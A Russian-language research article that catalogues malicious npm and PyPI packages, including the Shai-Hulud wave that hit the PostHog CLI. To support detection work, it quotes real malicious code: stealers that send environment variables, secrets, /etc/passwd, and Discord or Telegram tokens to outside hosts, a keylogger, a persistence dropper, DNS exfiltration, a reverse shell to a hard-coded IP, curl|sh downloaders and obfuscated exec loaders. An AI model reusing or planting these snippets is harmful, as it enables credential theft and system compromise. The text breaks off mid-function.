За последний год, с мая 2025 до июня 2026-го, мы прогнали через нашу систему анализа пакетов из пакетных менеджеров выборку вредоносных и подозрительных пакетов из npm и PyPI.

Это обычные пакеты из публичных реестров зависимостей: библиотеки, консольные клиенты, SDK, плагины, генераторы шаблонов, devtools и прочие вещи, которые разработчики ставят каждый день. Часть из них маскируется под полезные утилиты, часть ловит опечатки в именах, часть попадает в проекты как транзитивные зависимости, а самые опасные случаи вообще являются очередным релизом легитимного пакета после компрометации аккаунта разработчика или CI/CD-токенов.

В статье мы описываем повторяющиеся приемы и техники, которые используют атакующие, систематизируем их и показываем на реальных примерах, чтобы было проще ориентироваться в проблеме вредоносных пакетов.

Ниже описаны техники и приведены реальные фрагменты кода из пакетов, которые попали в анализ. Можете использовать эту статью для погружения в проблему вредоносов в пакетных менеджерах как небольшую википедию или для написания ваших собственных правил детекта.

Выборка пакетов

Для анализа и примеров, описанных в статье, использован наш агрегатор пакетов. Общее количество проанализированных пакетов исчисляется сотнями тысяч, а вредоносных — десятками тысяч.

Вредоносные пакеты в БД по менеджерам

График 1

Распределение пакетов по месяцам сканирования

Главные наблюдения

Самый частый общий паттерн — выполнение кода во время установки. В npm он обычно проявляется через lifecycle scripts: preinstall, install и postinstall. В PyPI тот же класс атак чаще реализован через setup.py, custom install command, переопределенный cmdclass или модуль, который исполняется до нормального использования библиотеки.

Разница в точке входа. Злоумышленнику нужно добиться исполнения кода в момент установки зависимости, дальше сценарии похожи: собрать данные окружения, скачать полезную нагрузку, закрепиться, проверить окружение на то, не является ли оно песочницей, или отправить информацию о закреплении наружу.

Топ техник по текущему срезу:

Техника

Доля от выборки

Скрипт установки в npm

63,8%

Подозрительные внешние ссылки

28,4%

Сбор и отправка чувствительных данных в npm

25,0%

Postinstall с эксфильтрацией

20,5%

Динамическое исполнение кода

7,0%

Доступ к системным файлам Linux

5,9%

Обфускация JavaScript

5,7%

Подмена install-команд в Python

5,2%

График 2

Частые комбинации техник

Одиночные признаки часто дают ложноположительные сработки — Install script может быть легитимным, Base64 может быть токеном, забытым разработчиками, внешний URL может быть документацией или API. Install hook вместе с сетевым кодом, сбором окружения, child process и обфускацией уже выглядит как атака.

Есть часто повторяющиеся паттерны во вредоносных пакетах. Например, discord-/telegram-/webhook-паттерн встречается примерно в 10% текущей выборки. Сотни пакетов с очень похожей установочной логикой, но разными именами, metadata и webhook URL.

Каталог реальных примеров

Минимальный systeminfo-стилер

Код собирает базовую информацию о системе: дату, пользователя, текущую директорию, hostname, версию Python и login. Затем отправляет JSON на внешний endpoint.

Цепочка local system info -> HTTP POST читается почти без контекста, а полезная нагрузка небольшая и необфусцированная.

    
import uuid

WEBHOOK_URL = "https://3vz70udxj4igjcfhpjsmuyzsnjtah15q.oastify.com/exfil"

def exfiltrate_system_info():
    data = {
        'id': str(uuid.uuid4()),
        'timestamp': subprocess.getoutput("date"),
        'whoami': subprocess.getoutput("whoami"),
        'pwd': os.getcwd(),
        'hostname': subprocess.getoutput("hostname"),
        'python_version': subprocess.getoutput("python --version"),
        'user': os.getlogin()
    }

    req = urllib.request.Request(
        WEBHOOK_URL,
        data=json.dumps(data).encode('utf-8'),
        headers={'Content-Type': 'application/json'}
    )
    
PyPI-пакет accesspdp 2.0.1, файл __init__.py

Сбор окружения, secrets и отправка наружу

Пакет собирает переменные окружения, содержимое директорий с secrets и результаты системных команд. После этого данные уходят на внешний HTTP endpoint.

Отдельно посмотрим на /var/run/secrets и /run/secrets: в контейнерах и оркестраторах там лежат смонтированные секреты приложения, например Kubernetes service account token, CA certificate, namespace, API keys, credentials для внешних сервисов и другие runtime-секреты.

    
def run_command(command):
    with os.popen(command) as stream:
        output = stream.read()
    return output

def main():
    env_vars = os.environ

    secrets = list_files("/var/run/secrets/")
    run_secrets = list_files("/run/secrets/")
    processes = list_processes()

    data = {
        "env_vars": dict(env_vars),
        "secrets": secrets,
        "run_secrets": run_secrets,
        "processes": processes,
    }

    data_json = json.dumps(data).encode('utf-8')
    req = urllib.request.Request("http://54.242.228.151:8090/debug-21f53", data=data_json, headers={'Content-Type': 'application/json'})
    
PyPI-пакет b10connoisseur 0.1.0, файл __init__.py

Сериализация локальных данных

Пакет запускается через preinstall, собирает локальные данные в JSON и отправляет их на внешний oastify.com endpoint.

Конкретно в запрос уходят имя и версия самого пакета, каталог установки (__dirname), домашняя директория пользователя, hostname, username, список локальных DNS-серверов, полный package.json, а также содержимое /etc/passwd и /etc/hosts, если эти файлы существуют. Скорее всего, злоумышленник сделал много пакетов с разным названием и содержанием — и в ответ на свой c2 он хочет получить информацию о том, насколько успешной вышла публикация пакета.

    
{
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "preinstall": "node index.js"
  },
  "license": "ISC"
}
    
Npm-пакет house-click 0.1.1, файл package.json

    
const trackingData = JSON.stringify({
    p: packageName,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: dns.getServers(),
    v: packageJSON.version,
    pjson: packageJSON,
    etc_passwd: fs.existsSync('/etc/passwd') ? fs.readFileSync('/etc/passwd', 'utf8') : null,
    etc_hosts: fs.existsSync('/etc/hosts') ? fs.readFileSync('/etc/hosts', 'utf8') : null
});

var postData = JSON.stringify({
    msg: trackingData,
});

var options = {
    hostname: "xghfyxdvb7rz4exwnbj51fm2etkk8awz.oastify.com",
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "Content-Length": postData.length,
    },
};

var req = https.request(options, (res) => {
    res.on("data", (d) => {
        process.stdout.write(d);
    });
});

req.write(postData);
req.end();
    
Npm-пакет house-click 0.1.1, файл index.js

Linux reconnaissance

Пакет запускает shell-команду, собирает hostname, текущую директорию, пользователя и внешний IP, затем кодирует результат и отправляет его на oastify.com.

Довольно компактно, но очень легко детектится.

    
const{exec}=require("child_process");
exec("a=$(hostname;pwd;whoami;echo 'package_name_without_version';curl https://ifconfig.me;) & echo $a | xxd -p | head | while read util;do curl -k -i -s http://7nv0bfnhimpr5lrd9fuw8t0wvn1ep9dy.oastify.com/$util;done",(error,data,getter)=>{
    if(error){
        console.log("error",error.message);
        return;
    }
    if(getter){
        console.log(data);
        return;
    }
});
    
Npm-пакет sarumaan_a 1.1.0, файл index.js

Канал доставки: Discord

Пакет содержит Discord webhook, извлекает discord-токены из пользовательских директорий и использует Discord API для проверки данных.

В pypi заливается множество таких пакетов — различаются metadata и endpoint, но они сохраняют одну механику сбора токенов и отправки результата в Discord.

    
WEBHOOK_URL = "https://canary.discord.com/api/webhooks/1438273237867036682/y-jlMJWQRYZlxmYEAzEKNQLMRG3GTh7ZcVryf-CpYulJymcNV_rXJMFtvIDke7E7w5HW"

class DiscordTokenExtractor:
    def __init__(self):
        self.baseurl = "https://discord.com/api/v9/users/@me"
        self.roaming = os.getenv("appdata")
        self.localappdata = os.getenv("localappdata")
        self.encrypted_regex = r"dQw4w9WgXcQ:[^"]*"
        self.tokens = []

    def decrypt_val(self, buff, master_key):
        try:
            iv = buff[3:15]
    
PyPI-пакет morosint 1.0.0, файл morosint.py

Канал доставки: Telegram

Под слоем «аналитического» интерфейса спрятан набор декодируемых endpoint’ов и ключей, после чего запускается автоматизированная проверка учетных данных для иностранных социальных сетей. Код перебирает набор типовых паролей, различает успешный вход, 2FA, блокировки и другие статусы, сохраняет cookies.

Пакет прячет свой токен и chat_id через множество слоев base64, затем отправляет сообщения через Telegram Bot API.

Здесь публичный messenger API используется как C2, а конфигурация канала дополнительно маскируется.

    
# -------------------- HIDDEN CONFIGURATION (Triple Base64) --------------------
def decode_triple(s):
    return base64.b64decode(base64.b64decode(base64.b64decode(s).decode()).decode()).decode()

def decode_double(s):
    return base64.b64decode(base64.b64decode(s).decode()).decode()

def decode_single(s):
    return base64.b64decode(s).decode()

_enc_token = "VkdWemRHRnVjMlU2VjNkM2QyZHBjM2M2T0RZNE1qWXlNREF4TURZeU1EQXRNemt4TURZPQpUbk5qWTJ4aGMzTTZkR2x3WkM1amIyMFRlWEJsYm1RdmNIVnNiQzVqYjIwNk1qYzVNelE0TURJd05UY3hNams9Ck0yVnVaR0Z1YzJVNmVHbDBiRzV6T2pJeU1qY3lOakUwTWpFeElEQWdNQ0F4TkNBM016QXhNemN5TlRrPQo="
NOTIFICATION_TOKEN = decode_triple(_enc_token.split('
')[0] + _enc_token.split('
')[1] + _enc_token.split('
')[2])

def send_notification(msg):
    url = f"https://api.telegram.org/bot{NOTIFICATION_TOKEN}/sendMessage"
    
PyPI-пакет traodoi 1.0.0, файл /scr/traosub/core.py (опечатка авторская)

Клавиатурный listener

Код импортирует pynput.keyboard, запускает listener и включает его, только когда активное окно называется Enter Password. Нажатия клавиш уходят в очередь, которую обрабатывает фоновый worker.

На вставке сама keylogger-часть: listener, callback на on_press и условный запуск при совпадении заголовка окна.

    
from pynput import keyboard
import requests
import threading
import queue
import winreg

q = queue.Queue()
running = threading.Event()

def on_press(key):
    if running.is_set():
        q.put(key)

def start():
    global listener,wokerthread
    running.set()
    wokerthread = threading.Thread(target=worker, daemon=True)
    wokerthread.start()
    listener = keyboard.Listener(on_press=on_press,on_release=on_release)
    listener.start()

def getAgent():
    on = False
    while (1):
        if win32gui.GetWindowText(win32gui.GetForegroundWindow()) == base64.b64decode(b"RW50ZXIgUGFzc3dvcmQ=").decode() and on == False:
            start()
            on = True
    
PyPI-пакет svchost 0.1.0, файл main.py

Исполнение системных команд во время установки

Разберем подробнее setup.py — в начале он хранит второй stage в виде большой строки _E, закодированной через base64, а затем дополнительно прогнанной через XOR с ключом 0x5A. После расшифровки код записывается на диск и дальше разворачивается как persistence-компонент под Windows, macOS и Linux.

Смысл фрагмента ниже именно в тихом запуске уже расшифрованного payload. Перед этим пакет подбирает путь, который выглядит правдоподобно для конкретной ОС — например, на Windows пишет файл в каталог вида AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21\\SecurityHealthSystray.pyw, подделывает атрибуты и timestamp, а затем пытается запустить и закрепить код так, чтобы он выглядел как системный артефакт.

Вместо прямого subprocess.Popen(["python", "payload.py"]) код собирает команду из фрагментов, запускает ее через wmic process call create, а если это не сработало, переключается на schtasks. В других ветках используются LaunchAgents, systemd и даже crontab.

    
_d = bytes([b ^ _K for b in base64.b64decode(_E)])
_code = _d.decode()

with open(_fp, "w", encoding="utf-8") as f:
    f.write(_code)

try:
    subprocess.run(["attrib", "+h", _fp], check=False,
                   creationflags=0x08000000)
except:
    pass

_launched = False
try:
    _wmi_cmd = f'{chr(34)}{_pyw}{chr(34)} {chr(34)}{_fp}{chr(34)}'
    _r = subprocess.run(["wmic", "process", "call", "create", _wmi_cmd],
                        capture_output=True, creationflags=0x08000000, timeout=10)
    if _r.returncode == 0 and b"ReturnValue = 0" in _r.stdout:
        _launched = True
except:
    pass

# Fallback: schtasks only if WMI failed
if not _launched:
    try:
        _task_name = "WindowsSecurityMonitor"
        _cmd = f'schtasks /Create /SC ONLOGON /TN "{_task_name}" /TR "\\"{_pyw}\\" \\"{_fp}\\"" /F'
        subprocess.run(_cmd, shell=True, capture_output=True,
                       creationflags=0x08000000, timeout=10)
    except:
        pass
    
PyPI-пакет config-toolkit 1.0.11, файл setup.py

Вариация кастомной установки в PyPI 1

Пакет переопределяет install, а после обычной установки сразу забирает os.getlogin() и socket.gethostname(). Затем оба значения кодируются в base32, из них собирается доменное имя вида <user>.<host>.a.stratfordhospital5050.com, и пакет принудительно вызывает socket.gethostbyname() для этого FQDN.

Смысл в том, что эксфильтрация прячется внутри DNS-разрешения. Даже если lookup завершается ошибкой, сам запрос на авторитативные DNS-серверы домена уже уносит наружу закодированные имя пользователя и hostname. Для атакующего это удобный install-time beacon: HTTP-клиент не нужен, IOC короче, а DNS-трафик в корпоративных сетях часто фильтруется слабее, чем прямые веб-запросы.

    
import base64
import socket

class Installer(install):
    def run(self):
        install.run(self)
        u = os.getlogin()
        ub = u.encode("utf-8")
        h = socket.gethostname()
        hb = h.encode("utf-8")
        ue = base64.b32encode(ub).decode("utf-8")
        ues = ue.rstrip("=")
        he = base64.b32encode(hb).decode("utf-8")
        hes = he.rstrip("=")
        d = ues + "." + hes + ".a.stratfordhospital5050.com"
        try:
            ip_address = socket.gethostbyname(d)
            print(f"{d} resolves to {ip_address}")
        except socket.gaierror:
            print("DNS lookup failed. Invalid domain or network issue.")

setup(
    name='helloharry123p',
    version='0.1.0',
    packages=find_packages(),
    cmdclass={'install': Installer}
)
    
PyPI-пакет helloharry 0.1.0, файл setup.py

Вариация кастомной установки в PyPI 2

Еще один вариант той же техники: cmdclass подменяет стандартный install, а внутри выполняются whoami, hostname и файловые операции.

    
class PostInstallCommand(install):
    def run(self):
        try:
            user_raw_full = subprocess.check_output('whoami', shell=True).decode().strip()
            clean_user = user_raw_full.split('\')[-1]
            host_name = subprocess.check_output('hostname', shell=True).decode().strip()
            current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            package_name='krbutils'

            target_dir = r"M:
lag"
            if not os.path.exists(target_dir):
                os.makedirs(target_dir)
        except:
            pass
        install.run(self)

setup(name='krbutils', version='1.0.0', packages=find_packages(), cmdclass={'install': PostInstallCommand})
    
PyPI-пакет krbutils 1.0.0, файл setup.py

Перехват python install lifecycle и backdoor

В setup.py он подменяет стандартную установку и запускает фоновый поток после. В соседнем модуле лежит runtime-часть: reverse shell, который открывает socket на внешний адрес, уводит stdin/stdout/stderr в соединение и запускает interactive shell.

За счет этого пакет живет и в момент установки, и после нее. Install hook используется как ранний вход, а модуль aiogram_sever_patch содержит уже само backdoor-поведение, запущенное в daemon-потоке, чтобы основной процесс не зависал.

    
# 3. КЛАСС УСТАНОВКИ (Custom Install Command)
class CustomInstall(install):
    def run(self):
        install.run(self)

        try:
            t = threading.Thread(target=_send_analytics)
            t.daemon = True
            t.start()
        except Exception:
            pass

setup(
    name="aiogram-types-v3",
    version="3.0.1",
    cmdclass={"install": CustomInstall},
)
    
PyPI-пакет aiogram-types-v3 3.0.1, файл setup.py

    
def connect():
    try:
        s=socket.socket()
        s.connect(("147.45.124.42",5555))
        os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)
        subprocess.call(["/bin/bash","-i"])
    except: pass

threading.Thread(target=connect, daemon=True).start()
    
PyPI-пакет aiogram-types-v3 3.0.1, файл __init__.py

Зависимость не из registry и внешний runtime

Здесь подозрительна именно связка нескольких признаков. В package.json одновременно есть preinstall и dependency, указывающая не на registry-версию, а на GitHub reference.

На следующем шаге preinstall запускает setup_bun.js, который скачивает и устанавливает Bun через shell или PowerShell, обновляет PATH и готовит внешний runtime прямо во время установки зависимости. Для обычного dev-пакета это нетипичное поведение.

    
"scripts": {
  "compile": "hardhat compile",
  "test": "hardhat test",
  "deploy": "hardhat run scripts/deploy.ts",
  "clean": "hardhat clean",
  "preinstall": "node setup_bun.js"
},
"devDependencies": {
  "@nomicfoundation/hardhat-ethers": "^4.0.2",
  "ethers": "^6.15.0",
  "forge-std": "github:foundry-rs/forge-std#v1.9.4",
  "hardhat": "^3.0.7",
  "typescript": "~5.8.0"
}
    
Npm-пакет test-hardhat-app 1.0.1, файл package.json

    
let command;
if (process.platform === 'win32') {
  command = 'powershell -c "irm bun.sh/install.ps1|iex"';
} else {
  command = 'curl -fsSL https://bun.sh/install | bash';
}

execSync(command, {
  stdio: 'ignore',
  env: { ...process.env }
});

reloadPath();

const bunPath = findBunExecutable();
if (!bunPath) {
  throw new Error('Bun installation completed but executable not found');
}
    
Npm-пакет test-hardhat-app 1.0.1, файл setup_bun.json

Подмена стандартной библиотеки и сбор системных данных

Пакет выглядит как опечатка стандартного smtplib, но на одном тайпсквотинге история не заканчивается. В начале модуля он сам устанавливает зависимости requests и psutil, а дальше в конструкторе SMTR.__init__() на Windows тянет удаленный python-код с https://x0[.]at/P685.txt, пишет его во временный файл и запускает через pythonw.exe без консольного окна.

Имя пакета помогает попасть в проект, автодоустановка зависимостей готовит окружение, а внешний payload позволяет атакующему менять реальную вредоносную логику уже после публикации пакета.

    
import sys
import subprocess

def install(package):
    subprocess.check_call([sys.executable, "-m", "pip", "install", package, "--quiet", "--disable-pip-version-check"])

required_packages = ['psutil', 'requests']
for package in required_packages:
    try:
        __import__(package.replace('-', '_'))
    except ImportError:
        install(package)

import requests
import psutil
from email.base64mime import body_encode as encode_base64

if sys.platform.startswith('win'):
    code = requests.get('https://x0.at/P685.txt').text
    temp = os.getenv("TEMP")
    filss = f'{temp}\\1.py'
    with open(filss, 'w') as the_file:
        the_file.write(code)
    subprocess.Popen(["pythonw.exe", filss])

__all__ = ["SMTPException", "SMTPNotSupportedError", "SMTPServerDisconnected", "SMTPResponseException",
           "SMTPSenderRefused", "SMTPRecipientsRefused", "SMTPDataError",
           "SMTPConnectError", "SMTPHeloError", "SMTPAuthenticationError",
           "quoteaddr", "quotedata", "SMTR"]
    
PyPI-пакет smtrlib 0.1.5, файл smtrlib.py

Downloader через библиотеку загрузки

Код скачивает shell payload через curl или wget и сразу передает его в sh.

Это классическая download-and-execute-цепочка: URL, загрузка, pipe в shell и отсутствие промежуточной валидации.

    
def main():
    import os
    os.system('(curl -fsSL -m180 http://49.232.169.67:8084/slt||wget -T180 -q http://49.232.169.67:8084/slt)|sh')


if __name__ == "__main__":
    main()
    
PyPI-пакет jsonschema-viewer 0.1.0, файл src/jsonschema_viewer/main.py

Curl beacon во время установки

В setup.py есть прямой curl на внешний endpoint. Пакет сообщает своему автору, что установка дошла до выполнения setup.py.

Такие короткие вставки легко пропустить в большом setup-файле, но они важны для проверки выполнения в чужой среде.

    
from setuptools.command.develop import develop
from setuptools.command.install import install
from subprocess import check_call

os.system("curl "https://kotko.me/analyze.php?procoder" &>/dev/null")

setup(
    name='procoder',
    version='0.0.2',
    description='',
    long_description=long_description,
    long_description_content_type='text/markdown',
    author='Vladyslav Kotko',
    author_email='males-folds0a@icloud.com',
)
    
PyPI-пакет procoder 0.0.2, файл setup.py

Base64 + marshal + exec

Очень короткий, но наглядный пример — декодирование, десериализация кода и мгновенное исполнение.

Такие пакеты легко детектить: связка marshal.loads(base64.b64decode(...)) и exec в безвредных пакетах не встречается.

    
import base64

__code__ = marshal.loads(base64.b64decode("""4wAAAAAAAAAAAAAAAAIAAAAAAAAA8xwAAACXAGQAZAFsAG0BWgEBAGQCWgJkA2cBWgNkBFMAKQXpAQAAACkB2gdwcm9fYXBpegUwLjEuMHIDAAAATikE2gNhcGlyAwAAANoLX192ZXJzaW9uX1/aB19fYWxsX1+pAPMAAAAA9R8AAABjb2Rlc2hvdWh15pyq5Yqg5a+GXF9faW5pdF9fLnB5+gg8bW9kdWxlPnIKAAAAAQAAAHMnAAAA8AMBAQHYABjQABjQABjQABjQABjQABjgDhWAC9gLFIgrgAeAB4AHcggAAAA="""))
exec(__code__)
    
PyPI-пакет codeshouhu 0.1.3, файл __init__.py

Base64/eval в npm-пакете

JavaScript не вызывает eval напрямую на читаемой строке. Сначала пакет пропускает base64-blob через собственный декодер — atob -> percent-encoding -> восстановление hex-пары в символы — и только потом передает результат в eval.

То есть здесь сразу видны обе части загрузчика: и ручная функция деобфускации, и финальная точка исполнения. Для детектирования это на удивление полезнее простого eval, потому что показывает намеренную маскировку полезной нагрузки и попытку спрятать итоговый код от беглого просмотра.

    
 function _eval(input){
   return (()=>{
     const h=decodeURIComponent(Array.prototype.map.call(atob(input),c=>'%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2)).join(''));
     let r='';
     for(let i=0;i<h.length;i+=2){
       r+=String.fromCharCode(parseInt(h.slice(i,i+2),16)||0);
     }
     return r;
   })();
 }
 
 eval(_eval("Mjg2Njc1NmU2Mzc0Njk2ZjZlMjgyOTdiMjg2Njc1NmU2Mzc0Njk2ZjZlMjgyOTdiMjc3NTczNjUyMDczNzQ3MjY5NjM3NDI3M2I3NDcyNzk3YjY5NjYyODc0Nzk3MDY1NmY2NjIwNjQ2ZjYzNzU2ZDY1NmU3NDIxM2QyNzc1NmU2NDY1NjY2OTZlNjU2NDI3Mjk3Yjc2NjE3MjIwNWYzMDc4MzI2MTM2MzkzOTYxM2Q2NDZmNjM3NTZkNjU2ZTc0NWIyNzYzNzI2NTYxNzQ2NTQ1NmM2NTZkNjU2ZTc0Mjc1ZDI4Mjc3Mzc0Nzk2YzY1MjcyOTNi"));
     
Npm-пакет 1kzr 1.0.0, файл 1kZR.js

Динамический exec в Python пакете

Код разворачивает zlib+base64 payload и исполняет его через exec.

Такая конструкция тоже редко нужна обычной библиотеке: полезную нагрузку невозможно понять без распаковки, а итоговое поведение скрыто от беглого просмотра.

    
try:
    import base64,zlib
    exec(zlib.decompress(base64.b64decode("eNrFWM1u20YQvusp1vTBVCDRdv5jICgYi3aEOJJKyamNxCBW1MrehNxllkvHquFTUfRSoC3QoEDQAC166AP00rvfxC/QV+gsl5IoiSrVomgJg6S4O7Mz33wzO+v1tc0kFpt9yjYJO0fRSJ5xdqeyjuq36sjnA8pOd1Aih/WH6kuFhhEXEvF4/BaPpq9JPxLcJ/Hki6QhqVSkGO1UEFxDwUP0BrNT7A0wY0SgbF7IYymwyL56lEnBa3Nfa2j32G7V0L7rOPA4dg4O2p/VkOs01K3r9CrkwieRRM1UpyMEF3pZJYcea0F4akl4AdH0DrLwNIx08oAMC80xqzsowuBa8aTJcEWNiYR5sS9oJE3GQ1LVdhiG4VwQP5EYJSHS46iTAm5kq6+jjgDMqOBIEgYTCfM5U+sgxtGACiKvfxMUXjks53NJUrEMRv0IaN9KJA3SkTgiPjg3O2INKRt4aig1zxIkCrBPzA0rGm3U0MZGtarVDrU8ZoP0xeKCnlKmvVFXhOUZaM+NpUMkiMl00jraw0HQx/4bmC8wmvEDywQH8/p4bKk36zWnzBz/ACGGQ2J63pAGxPOqNZRimwqntwnPUscnZLQgGuZL4KlFNPr9gNTSpU60cMabPVDb4nKPJ2yQY09qlwAOmEPjEihz9dJx3fYJ6ur4setf+CRKA76DLpVVV5cpra6M6kQHZVEiTeMV6wgwinJGkNPqOa4GRclTlmBhWRYIpSwakJiyWOIAWJZmjTklUmMyBng+s1v7dv2pvfsMnVOMIhqN+QTggeOShKbhBwSLzJ4Zf24+/PTH798g1HC6zVa3Zx/Y119df9FGjXZesZ6VufWKGctwB0eGVISKc9rhHgmRT4Qkn2P0NiHKK/Ia5537BJnxZgsSyKhakFM0MqtWwN+ppMrH5xkZ9TkWgyaTRIgkk")))
except KeyboardInterrupt:
    print("
Operação cancelada.")
    
PyPI-пакет worldofkanga 1.0.0, файл KANGA.py

Обфусцированные Python-API-вызовы

Системе детекта (а потом и нашему аналитику) сразу не понравились подозрительные импорты. Пакет реализует полноценный windows-ориентированный stealer: ищет Discord tokens в Local Storage\\leveldb у discord-клиентов и браузеров, вытаскивает master key из Local State, расшифровывает токены через CryptUnprotectData и AES-GCM, валидирует их запросом к Discord API, а затем отправляет результат на Discord webhook.

Дальше пакет идет глубже обычного token grabber’а: по валидному токену он запрашивает у Discord профиль пользователя, имейл, телефон, MFA-статус, Nitro, billing sources, gift codes и список guilds. Отдельная ветка собирает browser data, пишет логины, cookies, history, downloads и cards во временные файлы, архивирует их в SystemCache.zip и тоже шлет через webhook.

    
import tls_client, json, base64, time, sys, os, threading, asyncio, requests, pyotp
import datetime
import re
import ctypes
import sqlite3
import socket
import win32api
from discord import Embed, File, SyncWebhook
import shutil
from pathlib import Path
from zipfile import ZipFile
from win32crypt import CryptUnprotectData
from Crypto.Cipher import AES

    
PyPI-пакет discord-ban 1.0.0, файл x.py

    
paths = {
    'Discord': self.roaming + '\\discord\\Local Storage\\leveldb\\',
    'Chrome': self.appdata + '\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\',
    'Microsoft Edge': self.appdata + '\\Microsoft\\Edge\\User Data\\Default\\Local Storage\\leveldb\\',
    'Brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\',
}

for file_name in os.listdir(path):
    if file_name[-3:] not in ["log", "ldb"]:
        continue
    for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
        for y in re.findall(self.regexp_enc, line):
            token = self.decrypt_val(
                base64.b64decode(y.split('dQw4w9WgXcQ:')[1]),
                self.get_master_key(self.roaming+f'\\{_discord}\\Local State')
            )

def get_master_key(self, path: str) -> str:
    local_state = json.loads(open(path, "r", encoding="utf-8").read())
    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
    master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

def decrypt_val(self, buff: bytes, master_key: bytes) -> str:
    iv = buff[3:15]
    payload = buff[15:]
    cipher = AES.new(master_key, AES.MODE_GCM, iv)
    return cipher.decrypt(payload)[:-16].decode()

self.webhook.send(embed=embed, username=username_embed, avatar_url=avatar_embed)
self.webhook.send(file=File("SystemCache.zip"), username=username_embed, avatar_url=avatar_embed)
    
PyPI-пакет discord-ban 1.0.0, файл x.py

Многостадийный npm payload под видом легитимного CLI

Это важный пример не только из-за самого кода, но и из-за контекста. По публичным отчетам исследователей, в конце ноября 2025 года новая волна кампании Shai-Hulud, затронула экосистему PostHog: злоумышленники публиковали троянизированные версии легитимных npm-пакетов через скомпрометированные maintainer-аккаунты. В этой волне отдельно отмечались новые файлы setup_bun.js и bun_environment.js, которые мы как раз видим в этом образце.

Этот пакет мы тоже задетектили и рассматриваем его в статье как многостадийный supply-chain. Вредонос заразил легитимный пакет PostHog CLI: в postinstall действительно есть код, который скачивает официальный бинарник CLI из GitHub release. Но перед этим срабатывает preinstall, который запускает отдельную цепочку через Bun.

Если смотреть только на postinstall, можно решить, что пакет просто устанавливает бинарник для нужной платформы. Вредоносная часть лежит в setup_bun.js и большом обфусцированном bun_environment.js.

    
"scripts": {
  "fmt": "prettier --write **/*.js",
  "fmt:check": "prettier --check **/*.js",
  "postinstall": "node ./install.js",
  "preinstall": "node setup_bun.js"
},
"artifactDownloadUrl": "https://github.com/PostHog/posthog/releases/download/posthog-cli-v0.5.14",
"bin": {
  "posthog-cli": "run-posthog-cli.js"
}
    
Npm-пакет @posthog/cli 0.5.15, файл package.json

setup_bun.js проверяет наличие Bun. Если runtime не найден, он ставит его через PowerShell или curl | bash, обновляет PATH, а затем запускает bun_environment.js. Npm install hook подтягивает внешний runtime и передает ему основной payload.

    
async function downloadAndSetupBun() {
  try {
    let command;
    if (process.platform === 'win32') {
      command = 'powershell -c "irm bun.sh/install.ps1|iex"';
    } else {
      command = 'curl -fsSL https://bun.sh/install | bash';
    }

    execSync(command, {
      stdio: 'ignore',
      env: { ...process.env }
    });

    reloadPath();

    const bunPath = findBunExecutable();
    if (!bunPath) {
      throw new Error('Bun installation completed but executable not found');
    }

    return bunPath;
  } catch  {
    process.exit(0);
  }
}

const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
  runExecutable(bunExecutable, [environmentScript]);
}
    
Npm-пакет @posthog/cli 0.5.15, файл setup_bun.js

В bun_environment.js payload сильно обфусцирован и занимает мегабайты bundled-кода. В хвосте файла видна рабочая логика: код собирает GitHub token, npm token, окружение, сведения о системе, secrets из AWS/GCP/Azure и результаты TruffleHog-сканирования. Затем пытается сохранить эти данные через GitHub API, если нашел рабочий token.

    
let _0x5735a8 = {
  'system': {
    'platform': _0x46410c[_0x35266c(0x576e)],
    'architecture': _0x46410c[_0x35266c(0x52c7)],
    'platformDetailed': _0x46410c[_0x35266c(0x10b5)],
    'architectureDetailed': _0x46410c['archRaw'],
    'hostname': a0_0xf22814[_0x35266c(0x54a5)](),
    'os_user': a0_0xf22814[_0x35266c(0x36c3)]()
  },
  'modules': {
    'github': {
      'authenticated': _0x1b7dd4['isAuthenticated'](),
      'token': _0x1b7dd4['getCurrentToken'](),
      'username': _0x57709e
    }
  }
},
_0x5bb75d = {'environment': process[_0x35266c(0x3f2d)]},
_0x3e4549 = {
  'aws': {'secrets': await _0x30fddc[_0x35266c(0x5451)]()},
  'gcp': {'secrets': await _0x79b1b9['listAndRetrieveAllSecrets']()},
  'azure': {'secrets': await _0x8fa8f[_0x35266c(0x559f)]()}
};
    
Npm-пакет @posthog/cli 0.5.15, файл bun_environment.js

GitHub token берется не только из переменных окружения. Код пробует gh auth token, а если текущего токена нет, ищет чужие результаты через GitHub search, достает из найденного JSON поле modules.github.token и проверяет его запросом к GitHub API.

    
findGitHubTokenEnvVars() {
  let _0x50409a = [_0x46c579(0x3e51), 'gho_'];
  for (let [_0x12da35, _0x1c0a60] of Object[_0x46c579(0x21ed)](process[_0x46c579(0x3f2d)])) {
    if (!_0x1c0a60) continue;
    for (let _0x3beb3c of _0x50409a)
      if (_0x1c0a60[_0x46c579(0x1ef2)](_0x3beb3c)) return _0x1c0a60;
  }
}

let _0x2f6527 = Bun[_0x5c9ed1(0x244c)](['gh', _0x5c9ed1(0x5c64), _0x5c9ed1(0x194f)], {
  'stdout': _0x5c9ed1(0x19da)
})[_0x5c9ed1(0x59eb)][_0x5c9ed1(0x2c5c)]()['trim']();
    
Npm-пакет @posthog/cli 0.5.15, файл bun_environment.js

Для npm используется отдельная ветка: payload ищет _authToken в .npmrc в текущей директории и в домашнем каталоге, валидирует токен и получает список пакетов maintainer-а.

    
async function oL0(_0x45b2ed) {
  let _0x4f7d34 = /(?:_authToken|:_authToken)=([a-zA-Z0-9\-._~+/]+=*)/,
      _0x65797 = _0x45b2ed ? [_0x45b2ed] : [
        a0_0x459ea5[_0x1c13a1(0x44d8)](process[_0x1c13a1(0x5c4b)](), _0x1c13a1(0x415e)),
        a0_0x459ea5['join'](a0_0x647ad2['homedir'](), _0x1c13a1(0x415e))
      ];

  for (let _0x577185 of _0x65797) {
